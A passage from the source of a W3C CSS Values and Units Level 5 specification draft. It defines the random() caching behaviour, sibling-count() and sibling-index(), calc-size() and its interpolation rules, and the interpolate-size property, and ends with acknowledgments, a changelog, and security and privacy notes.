		while the function in 'height' has <code>(100px, 500px, null, --x, null)</code>.

		This means the two functions will resolve to distinct random values,
		making it very unlikely for the element to be square.
		However, every element matching ''.random-rect''
		will still have the <em>same</em> random size.

		Changing any aspect of the function also alters this key.
		The following two declarations are similarly distinct,
		resulting in the width and height having no connection to each other:

		<pre highlight=css>
		.random-rect-2 {
			width: random(100px, 500px);
			height: random(100px, 500px, by 50px);
		}
		</pre>

		But so long as the [=used values=] end up identical,
		two functions that look distinct might end up identical.
		For example, in the following code:

		<pre highlight=css>
		.random-square-2 {
			font-size: 16px;
			width: random(160px, 320px);
			height: random(10em, 20em);
		}
		</pre>

		The two functions superficially look different,
		but after the lengths are fully resolved
		they end up with identical [=random-caching keys=];
		each is <code>(160px, 320px, null, null, null)</code>,
		so actually the widths and heights will end up always identical.
	</div>

	<div class=example>
		By default, each instance of a ''random()'' function in a stylesheet
		essentially resolves to a static value,
		which is then shared by every element that property applies to.
		This behavior can be changed with the ''per-element'' keyword.

		For example, in:

		<pre highlight=css>
		.foo { width: random(100px, 500px); }
		</pre>

		Multiple elements matching ''.foo'' will end up with the same random width.

		But in:

		<pre highlight=css>
		.foo { width: random(per-element, 100px, 500px); }
		</pre>

		Every element matching ''.foo'' will get its own <em>unique</em> width.

		Note that this causes the value to be unique per element,
		not per <em>value</em> necessarily.
		For example, in:

		<pre highlight=css>
		.random-squares {
			width: random(per-element, 100px, 500px);
			height: random(per-element, 100px, 500px);
		}
		</pre>

		Every element matching ''.random-squares'' will get a distinct random value,
		but that value will be <em>the same</em> for 'width' and 'height' on a given element,
		making the element square.
		This is because in both properties
		the [=random-caching key=] is <code>(100px, 500px, null, null, [unique value for the element])</code>,
		so both functions will resolve to the same length on a single element.

		This makes random values in [=custom properties=] act more predictably.
		The preceding code could also be written as:

		<pre highlight=css>
		.foo {
			--size: random(per-element, 100px, 500px);
			width: var(--size);
			height: var(--size);
		}
		</pre>
	</div>


<!-- Big Text: counting

 ███▌   ███▌  █▌  █▌ █    █▌ █████▌ ████ █    █▌  ███▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌   █▌   █▌    ▐▌  █▌   █▌ █▌  █▌
█▌     █▌  █▌ █▌  █▌ ██▌  █▌   █▌    ▐▌  ██▌  █▌ █▌
█▌     █▌  █▌ █▌  █▌ █▌▐█ █▌   █▌    ▐▌  █▌▐█ █▌ █▌ ██▌
█▌     █▌  █▌ █▌  █▌ █▌  ██▌   █▌    ▐▌  █▌  ██▌ █▌  █▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌   █▌   █▌    ▐▌  █▌   █▌ █▌  █▌
 ███▌   ███▌   ███▌  █▌   ▐▌   █▌   ████ █▌   ▐▌  ███▌
-->

<h2 id="tree-counting">
Tree Counting Functions: the ''sibling-count()'' and ''sibling-index()'' notations</h2>

	The <dfn>sibling-count()</dfn> [=functional notation=] represents,
	as an <<integer>>,
	the total number of child <l spec=css-display-3>[=elements=]</l>
	in the parent of the element on which the notation is used.

	The <dfn>sibling-index()</dfn> [=functional notation=] represents,
	as an <<integer>>,
	the index of the element
	on which the notation is used
	among the children of its parent.
	Like '':nth-child()'',
	''sibling-index()'' is 1-indexed.

	Note: The ''counter()'' function can provide similar abilities as ''sibling-index()'',
	but returns a <<string>> rather than an <<integer>>.

	When used on a [=pseudo-element=],
	these both resolve as if specified
	on its [=ultimate originating element=].

	Note: Like the rest of CSS (other than [=selectors=]),
	''sibling-count()'' and ''sibling-index()''
	operate on the [=flat tree=].

	Note: These functions may, in the future,
	be extended to accept an ''of <<selector>>'' argument,
	similar to '':nth-child()'',
	to filter on a subset of the children.


<!-- Big Text: calc-size()

 ███▌   ███▌  █▌     ███▌         ███▌  ████ █████▌ █████▌   ██ ██
█▌  █▌ ▐█ ▐█  █▌    █▌  █▌       █▌  █▌  ▐▌      ▐▌ █▌      █▌   ▐█
█▌     █▌  █▌ █▌    █▌           █▌      ▐▌     ▐▌  █▌     █▌     ▐█
█▌     █▌  █▌ █▌    █▌     ████▌  ███▌   ▐▌    █▌   ████   █▌     ▐█
█▌     █████▌ █▌    █▌               █▌  ▐▌   █     █▌     █▌     ▐█
█▌  █▌ █▌  █▌ █▌    █▌  █▌       █▌  █▌  ▐▌  █      █▌      █▌   ▐█
 ███▌  █▌  █▌ █████  ███▌         ███▌  ████ █████▌ █████▌   ██ ██
-->

<h2 id=calc-size>
Calculating With Intrinsic Sizes: the ''calc-size()'' function</h2>

	When transitioning between two [=definite=] sizes,
	or slightly adjusting an existing definite size,
	''calc()'' works great:
	halfway between ''100%'' and ''20px'' is ''calc(50% + 10px)'',
	''20%'' with a margin of ''15px'' on either side is ''calc(20% + 15px * 2)'',
	etc.

	But these operations are no longer possible if the size you want to adjust
	or transition to/from
	is an [=intrinsic size=],
	for both practical and backward-compatibility reasons.
	The ''calc-size()'' function
	allows math to be performed on intrinsic sizes
	in a safe, well-defined way.

	<pre class=prod>
	<dfn function lt="calc-size()">&lt;calc-size()></dfn> = calc-size( <<calc-size-basis>>, <<calc-sum>> )

	<dfn>&lt;calc-size-basis></dfn> = [ <<intrinsic-size-keyword>> | <<calc-size()>> | any | <<calc-sum>> ]
	</pre>

	The <dfn>&lt;intrinsic-size-keyword></dfn> production
	matches any [=intrinsic size=] keywords allowed in the context.
	For example, in 'width',
	it matches ''width/auto'', ''width/min-content'', ''width/stretch'', etc.

	<details class=note>
		<summary>Why can ''calc-size()'' be nested?</summary>

		Allowing ''calc-size()'' as the basis argument
		means that authors can use a variable as the basis
		(like ''calc-size(var(--foo), size + 20px)'')
		and it will <em>always work</em>
		as long as the variable was originally valid for the property.

		Doing the same with just ''calc()'' doesn't work -
		for example, if you have ''--foo: calc-size(min-content, size + 20px)'',
		or even just ''--foo: min-content'',
		then ''calc( (var(--foo)) + 20px )'' fails.

		The nesting is simplified away during interpolation,
		and at used-value time,
		so the basis always ends up as a simple value
		by the time interpolation and other effects occur;
		see [[#simplifying-calc-size]].
	</details>

	The first argument given is the <dfn>calc-size basis</dfn>,
	and the second is the <dfn>calc-size calculation</dfn>.
	For either argument,
	if a <<calc-sum>> is given,
	its [=CSSNumericValue/type=] must [=CSSNumericValue/match=] <<length-percentage>>,
	and it must resolve to a <<length>>.

	Within the [=calc-size calculation=],
	if the [=calc-size basis=] is not ''calc-size()/any'',
	the keyword <dfn for=calc-size() value>size</dfn> is allowed.
	This keyword is a <<length>>,
	and resolves at [=used value=] time.

	''calc-size()'' represents an [=intrinsic size=].
	It is specifically <em>not</em> a <<length>>;
	any place that wants to accept a ''calc-size()''
	must explicitly include it in its grammar.

	<details class=note>
		<summary>Why not just allow intrinsic keywords in ''calc()''?</summary>

		In theory, rather than introducing ''calc-size()'',
		we could have defined ''calc(auto * .5)'' to be valid,
		allowing interpolation to work as normal.

		This has the minor issue that mixing keywords still wouldn't be allowed,
		but it wouldn't be as obvious
		(that is, ''calc((min-content + max-content)/2)'' looks reasonable,
		but would be disallowed).

		The larger issue, tho,
		is that this wouldn't allow us to smoothly transition percentages.
		''calc(50%)'' is only half the size of ''calc(100%)''
		when percentages are [=definite=] in the context;
		if they're not, the two values will usually be the same size
		(depending on the context, either ''0px'' or ''width/auto''-sized).

		Using a new function that explicitly separates
		the size you're calculating with
		from the calculation itself
		lets us get smooth interpolation in <em>all</em> cases.

		An additional consideration is that there are many effects,
		some small and some large,
		that depend on whether an element is intrinsically sized
		or definite.
		Using ''calc()'' would mean that the answer to the question
		"is the element intrinsically-sized"
		can have one answer in the middle of a transition
		("yes", for ''calc(min-content * .2 + 20px * .8))''),
		but a different answer at the end of the transition
		("no", for ''calc(20px)''),
		causing the layout to jump at the end of an otherwise-smooth transition.

		(This is similar to the stacking-layer changes that can occur
		when animating from ''opacity:1'' to ''opacity: 0'';
		any non-''1'' value forces a stacking context.
		With 'opacity' you can get around this by animating to ''.999'',
		which is visually indistinguishable from ''1''
		but forces a stacking context.
		It's not as reasonable to ask people to animate to ''calc(auto * .0001)''
		to ensure it retains its intrinsic-ness.)

		Again, using a new function that identifies itself
		as being <em>inherently</em> an intrinsic size,
		like ''calc-size(auto, 20px)'',
		means we can maintain stable layout behaviors the entire time,
		even when the actual size is a definite length.
	</details>

<h3 id=simplifying-calc-size>
Simplifying ''calc-size()''</h3>

	Similar to [=math functions=],
	at both [=specified value=] and [=computed value=] times
	the [=calc-size calculation=]
	(and the [=calc-size basis=], if it's a <<calc-sum>>)
	are simplified to the extent possible,
	as defined in [[css-values-4#calc-simplification]].

	<div algorithm>
		To <dfn export for=calc-size()>canonicalize for interpolation</dfn>
		a ''calc-size()'' function:

		<dl class=switch>
			: If the [=calc-size basis=] is a ''calc-size()'' function itself
			:: The [=calc-size basis=] of the outer function
				is replaced with that of the inner function,
				and the inner function's [=calc-size calculation=]
				is [=substitute into a calc-size calculation|substituted=]
				into the outer function's [=calc-size calculation=].

			: Otherwise, if the [=calc-size basis=] is a <<calc-sum>> whose
				[=CSSNumericValue/type=] [=CSSNumericValue/matches=] <<length>>
				(no percentage present)
			:: Replace the basis with ''calc-size/any'',
				and the original basis is [=substitute into a calc-size calculation|substituted=]
				into the [=calc-size calculation=].

			: Otherwise, if the [=calc-size basis=] is any other <<calc-sum>>
				(contains a percentage)
			:: Replace the basis with ''100%''
				and the original basis is [=de-percentify a calc-size calculation|de-percentified=],
				then [=substitute into a calc-size calculation|substituted=]
				into the [=calc-size calculation=].
		</dl>

		(The above is performed recursively, if necessary.)

		If any [=substitute into a calc-size calculation=]
		returns failure,
		the entire operation immediately returns failure.

		Note: After canonicalization,
		a ''calc-size()'' function
		will only have a [=calc-size basis=] that's a keyword,
		or the value ''100%''.
	</div>

	<details class=note>
		<summary>Why are percentages simplified in this way?</summary>

		This percentage simplification
		ensures that transitions work linearly.

		For example, say that 100% is 100px, for simplicity.

		If you transitioned from `calc-size(100px, size * 2)`
		(resolves to 200px)
		to `calc-size(50%, size - 20px)`
		(resolves to 30px)
		by interpolating both the arguments,
		then at the halfway point
		you'd have `calc-size(75px, size * 2 * .5 + (size - 20px) * .5)`
		(resolves to 102.5px),
		which is *not* halfway between 30 and 200
		(that would be 115px).
		Interpolating one argument,
		then substituting it into another calculation
		and interpolating that one too,
		generally gives <em>quadratic</em> interpolation behavior.

		Instead, we substitute the basis arg into the calculation arg,
		so you get `calc-size(percentage, 100px * 2)`
		and `calc-size(percentage, (size * .5) - 20px)`,
		and when interpolated,
		at the halfway point you get
		`calc-size(percentage, 100px * 2 * .5 + ((size * .5) - 20px) * .5)`,
		which does indeed resolve to 115px, as expected.
		Other points in the transition are similarly linear.
	</details>

	<div algorithm>
		To <dfn export>de-percentify a calc-size calculation</dfn> |calc|:

		1. Replace every instance of a <<percentage-token>> in |calc|
			with ''(size * N)'',
			where N is the percentage's value divided by 100.
			Return |calc|.

		Note: For example,
		''50% + 20px''
		becomes ''(size * .5) + 20px''.
	</div>

	<div algorithm>
		To <dfn export>substitute into a calc-size calculation</dfn> |calc|
		a value |insertion value|:

		1. If |calc| doesn't have the ''calc-size()/size'' keyword in it,
			do nothing.

		2. Otherwise, replace every instance of the ''calc-size()/size'' keyword
			in |calc|
			with |insertion value|,
			wrapped in parentheses.

		3. If this substitution would produce a value
			larger than an UA-defined limit,
			return failure.

			Note: This is intentionally identical
			to the protection against substitution attacks
			defined for variable substitution;
			see [[css-variables-1#long-variables]].
			However, the use-cases for very long ''calc-size()'' values
			are much less than for long custom properties,
			so UAs might wish to impose a smaller size limit.
	</div>

<h3 id=resolving-calc-size>
Resolving ''calc-size()''</h3>

	A ''calc-size()'' is treated, in all respects,
	as if it were its [=calc-size basis=]
	(with ''calc-size()/any'' acting as an unspecified [=definite=] size).

	When actually performing layout calculations, however,
	the size represented by its [=calc-size basis=]
	is modified to be the value of its [=calc-size calculation=],
	with the ''calc-size()/size'' keyword
	evaluating to the [=calc-size basis's=] original size.

	(If the [=calc-size basis=] is <dfn for="calc-size()" value>any</dfn>,
	the ''calc-size()'' is a [=definite=] length,
	equal to its [=calc-size calculation=].)

	<div class=example>
		For example,
		an element with ''height: calc-size(auto, round(up, size, 20px))''
		will be treated identically to an element with ''height: auto'',
		but with its size rounded up to the nearest multiple of ''20px''.
	</div>

	When evaluating the [=calc-size calculation=],
	if percentages are not definite in the given context,
	they resolve to ''0px''.
	Otherwise, they resolve as normal.

	(A percentage in the [=calc-size basis=]
	is treated differently;
	[[#simplifying-calc-size|simplification]]
	moves the percentage into the [=calc-size calculation=]
	and replaces it with ''size'' references.
	The [=calc-size basis=] then becomes ''100%'',
	behaving as whatever ''100%'' would normally do in that context,
	including possibly making a property [=behave as auto=], etc.)

	<div class=note>
		Percentages in the basis work as normal
		so you can always smoothly transition to <em>any</em> size,
		regardless of its value or behavior.
		For example, without ''calc-size()'',
		transitioning from ''100%'' to ''0px''
		only works smoothly if the percentage is [=definite=];
		if it's not, then during the entire transition
		the property might [=behave as auto=]
		and not actually change size at all.

		Percentages in the calculation, on the other hand,
		are resolved to 0 when indefinite
		to avoid making the ''calc-size()''
		potentially act in two different ways;
		there are some cases where a ''width/min-content'' size
		will cause different layout effects than a ''100%'' size,
		and so a ''calc-size()'' has to masquerade as one or the other.
	</div>


<h3 id=interp-calc-size>
Interpolating ''calc-size()''</h3>

	Two ''calc-size()'' functions can be interpolated if
	(after being [=canonicalized for interpolation=]):

	<dl class=switch>
		: Either function returned failure from being [=canonicalized for interpolation=]
		:: The values cannot be interpolated.

		: Both [=calc-size basises=] are identical
		:: The result's [=calc-size basis=] is the that basis value.

		: Either [=calc-size basis=] is ''calc-size()/any''
		:: The result's [=calc-size basis=] is the non-''calc-size()/any'' basis.
	</dl>

	The result's [=calc-size calculation=]
	is the interpolation of the two input [=calc-size calculations=].

	Note: These interpolation restrictions ensure that a ''calc-size()''
	doesn't try to act in two different ways at once;
	there are some cases where a ''width/min-content'' and ''width/max-content''
	would produce different layout behaviors, for example,
	so the ''calc-size()'' has to masquerade as one or the other.
	This, unfortunately, means you can't transition between keywords,
	like going from ''width/auto'' to ''width/min-content''.

	Some ''calc-size()'' values can also be interpolated
	with a <<length-percentage>> or an <<intrinsic-size-keyword>>.
	To determine whether the values can interpolate
	and what the interpolation behavior is,
	treat the non-''calc-size()'' value
	as ''calc-size(any,  <var ignore>value</var> )'' if the value is a <<calc-sum>>
	or as ''calc-size( <var ignore>value</var> , size)'' otherwise,
	and apply the rules above.

	<div class=example>
		For example, ''calc-size()'' allows interpolation to/from ''height: auto'':

		<pre class=lang-css>
		details {
			transition: height 1s;
		}
		details::details-content {
			display: block;
		}
		details[open]::details-content {
			height: auto;
		}
		details:not([open])::details-content {
			height: calc-size(any, 0px);
		}
		</pre>

		This will implicitly interpolate
		between ''calc-size(auto, size)'' and ''calc-size(any, 0px)''.
		Half a second after opening the <{details}>,
		the ::details-content wrapper's 'height'
		will be ''calc-size(auto, size * .5)'',
		half its open size;
		thruout the transition it'll smoothly animate its height.
	</div>

	Note: ''calc-size()'' is designed such that
	transitioning to/from ''calc-size(any, [=definite=] length)''
	will <em>always</em> work smoothly,
	regardless of how the other side of the transition is specified.

	Note: This "upgrade a plain value into a ''calc-size()''" behavior
	puts <<length-percentage>> values into the [=calc-size calculation=].
	This allows values with percentages
	to interpolate with intrinsic size keywords,
	but does mean that when a percentage isn't [=definite=],
	it'll resolve to zero.
	If you want to resolve to the actual size the percentage would make the element,
	explicitly write a ''calc-size()''
	with the value in its [=calc-size basis=],
	like ''calc-size(50%, size)''.


<h3 id=interpolate-size>
Interpolating sizing keywords: the 'interpolate-size' property</h3>

	Note: If we had a time machine, this property wouldn't need to exist.
	It exists because many existing style sheets assume that
	intrinsic sizing keywords
	(such as ''width/auto'', ''width/min-content'', etc.)
	cannot animate.
	Therefore this property exists to allow style sheets to choose
	to get the expected behavior.
	Specifying ''interpolate-size: allow-keywords'' on the root element
	chooses the new behavior for the entire page.
	We suggest doing this whenever compatibility isn't an issue.

	<pre class="propdef">
	Name: interpolate-size
	Value: numeric-only | allow-keywords
	Initial: numeric-only
	Inherited: yes
	Applies to: all elements
	Computed value: as specified
	Animation type: not animatable
	</pre>

	<dl dfn-for="interpolate-size" dfn-type="value">
		<dt><dfn>numeric-only</dfn>
		<dd>
			An <<intrinsic-size-keyword>> cannot be interpolated.
		</dd>

		<dt><dfn>allow-keywords</dfn>
		<dd>
			Two values can be interpolated if
			one of them is an <<intrinsic-size-keyword>>
			and the other is a <<length-percentage>>.
			This is done by treating
			the <<intrinsic-size-keyword>> <var>keyword</var>
			as though it is ''calc-size(<var>keyword</var>, size)''
			and applying the rules in [[#interp-calc-size]].
			In other cases,
			an <<intrinsic-size-keyword>> still cannot be interpolated.
		</dd>
	</dl>

	The value of 'interpolate-size' that matters
	is the computed value on the element
	at the time the animation might start.
	For CSS transitions,
	this means the value in the [=after-change style=].
	An animation is not stopped or started later
	because 'interpolate-size' changes.

<!-- Big Text: etc

█████▌ █████▌  ███▌
█▌       █▌   █▌  █▌
█▌       █▌   █▌
████     █▌   █▌
█▌       █▌   █▌
█▌       █▌   █▌  █▌
█████▌   █▌    ███▌
-->


<h2 class="no-num" id="acknowledgments">
Acknowledgments</h2>

	Firstly, the editors would like to thank
	all of the contributors to the <a href="https://www.w3.org/TR/css-values-4/#acknowledgments">previous level</a>
	of this module.

	Secondly, we would like to acknowledge
	L. David Baron,
	Mike Bremford,
	and Sebastian Zartner
	for their comments and suggestions,
	which have improved Level 5.

<h2 class="no-num" id="changes">
Changes</h2>

	Changes since the <a href="https://www.w3.org/TR/2024/WD-css-values-5-20240913/">First Public Working Draft</a> include:

	* Incorporated the definition of <<position>>,
		extending it to handle [=flow-relative=] positions.
		(<a href="https://github.com/w3c/csswg-drafts/issues/549#issuecomment-1823607623">Issue 549</a>)

<h3 class=no-num id="additions-L4">
Additions Since Level 4</h3>

	Additions since <a href="http://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>:

	* Added the “comma-upgrading” rules for functional notations.
	* Defined several <<url-modifier>>s for <<url>> functions.
	* Extended <<position>> to handle [=flow-relative=] positions.
		(<a href="https://github.com/w3c/csswg-drafts/issues/549#issuecomment-1823607623">Issue 549</a>)
	* Added the [[#progress|*-progress()]] family of functions, to represent interpolation progress between two values.
	* Added the [[#mixing|*-mix()]] family of functions, to represent actually interpolating between two values.
	* Added ''first-valid()'', to allow CSS's forward-compatible parsing behavior (drop invalid things, go with what's left) to be used with custom properties and other contexts where validity isn't known until <em>after</em> parsing.
	* Added the ''toggle()'' and ''attr()'' functions.
	* Added the ''random()'' and ''random-item()'' functions.
	* Added the ''sibling-count()'' and ''sibling-index()'' functions.
	* Added the ''calc-size()'' function, and the related 'interpolate-size' property.


<h2 class="no-num" id="security">
Security Considerations</h2>

	This specification allows CSS <<url>> values to have various aspects of their request modified.
	Although this is new to CSS,
	every ability is already present in <{img}> or <{link}>, as well as via JavaScript.

	The ''attr()'' function allows HTML attribute values
	to be used in CSS values,
	potentially exposing sensitive information
	that was previously not accessible via CSS.
	See [[#attr-security]].

<h2 class="no-num" id="privacy">
Privacy Considerations</h2>

	This specification defines units that expose the user's screen size
	and default font size,
	but both are trivially observable from JS,
	so they do not constitute a new privacy risk.
	Similarly the ''media-progress()'' notation exposes
	information about the user's environment and preferences
	that are already observiable via [=media queries=].

	The ''attr()'' function allows HTML attribute values
	to be used in CSS values,
	potentially exposing sensitive information
	that was previously not accessible via CSS.
	See [[#attr-security]].